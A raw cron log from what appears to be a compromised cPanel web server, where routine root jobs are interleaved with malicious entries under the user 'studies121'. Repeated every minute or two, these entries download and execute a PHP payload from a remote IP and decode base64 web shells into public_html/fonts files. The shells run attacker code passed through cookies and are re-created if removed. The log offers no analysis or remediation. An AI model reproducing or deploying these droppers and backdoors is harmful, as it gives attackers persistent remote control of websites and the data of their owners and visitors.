Sep  1 21:55:01 ip-184-168-122-23 CROND[30064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:55:01 ip-184-168-122-23 CROND[30070]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:55:01 ip-184-168-122-23 CROND[30071]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 21:56:01 ip-184-168-122-23 CROND[30152]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:56:01 ip-184-168-122-23 CROND[30154]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 21:56:01 ip-184-168-122-23 CROND[30155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:56:01 ip-184-168-122-23 CROND[30156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:56:01 ip-184-168-122-23 CROND[30157]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:57:01 ip-184-168-122-23 CROND[30236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:57:01 ip-184-168-122-23 CROND[30237]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:57:01 ip-184-168-122-23 CROND[30239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:57:01 ip-184-168-122-23 CROND[30240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:58:01 ip-184-168-122-23 CROND[30321]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:58:01 ip-184-168-122-23 CROND[30323]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 21:58:01 ip-184-168-122-23 CROND[30324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:58:01 ip-184-168-122-23 CROND[30326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:58:01 ip-184-168-122-23 CROND[30325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:59:01 ip-184-168-122-23 CROND[30408]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:59:01 ip-184-168-122-23 CROND[30410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:59:01 ip-184-168-122-23 CROND[30411]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:59:01 ip-184-168-122-23 CROND[30412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:00:01 ip-184-168-122-23 CROND[30554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:00:01 ip-184-168-122-23 CROND[30556]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 22:00:01 ip-184-168-122-23 CROND[30558]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 22:00:01 ip-184-168-122-23 CROND[30557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:00:01 ip-184-168-122-23 CROND[30559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:00:01 ip-184-168-122-23 CROND[30564]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 22:00:01 ip-184-168-122-23 CROND[30565]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 22:00:01 ip-184-168-122-23 CROND[30568]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:00:01 ip-184-168-122-23 CROND[30566]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  1 22:01:01 ip-184-168-122-23 CROND[30691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:01:01 ip-184-168-122-23 CROND[30693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:01:01 ip-184-168-122-23 CROND[30695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:01:01 ip-184-168-122-23 CROND[30696]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:01:01 ip-184-168-122-23 CROND[30699]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 22:01:01 ip-184-168-122-23 CROND[30702]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 22:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[30699]: starting 0anacron
Sep  1 22:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[30714]: finished 0anacron
Sep  1 22:02:01 ip-184-168-122-23 CROND[30789]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:02:01 ip-184-168-122-23 CROND[30790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:02:01 ip-184-168-122-23 CROND[30793]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 22:02:01 ip-184-168-122-23 CROND[30794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:02:01 ip-184-168-122-23 CROND[30792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:03:01 ip-184-168-122-23 CROND[30880]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:03:01 ip-184-168-122-23 CROND[30882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:03:01 ip-184-168-122-23 CROND[30884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:03:01 ip-184-168-122-23 CROND[30883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:04:01 ip-184-168-122-23 CROND[30977]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 22:04:01 ip-184-168-122-23 CROND[30978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:04:01 ip-184-168-122-23 CROND[30983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:04:01 ip-184-168-122-23 CROND[30981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:04:01 ip-184-168-122-23 CROND[30982]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:05:01 ip-184-168-122-23 CROND[31066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:05:01 ip-184-168-122-23 CROND[31068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:05:01 ip-184-168-122-23 CROND[31071]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 22:05:01 ip-184-168-122-23 CROND[31069]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:05:01 ip-184-168-122-23 CROND[31073]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 22:05:01 ip-184-168-122-23 CROND[31075]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 22:05:01 ip-184-168-122-23 CROND[31072]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:06:01 ip-184-168-122-23 CROND[31166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:06:01 ip-184-168-122-23 CROND[31167]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 22:06:01 ip-184-168-122-23 CROND[31169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:06:01 ip-184-168-122-23 CROND[31173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:06:01 ip-184-168-122-23 CROND[31174]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:07:01 ip-184-168-122-23 CROND[31341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:07:01 ip-184-168-122-23 CROND[31342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:07:01 ip-184-168-122-23 CROND[31347]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:07:01 ip-184-168-122-23 CROND[31348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
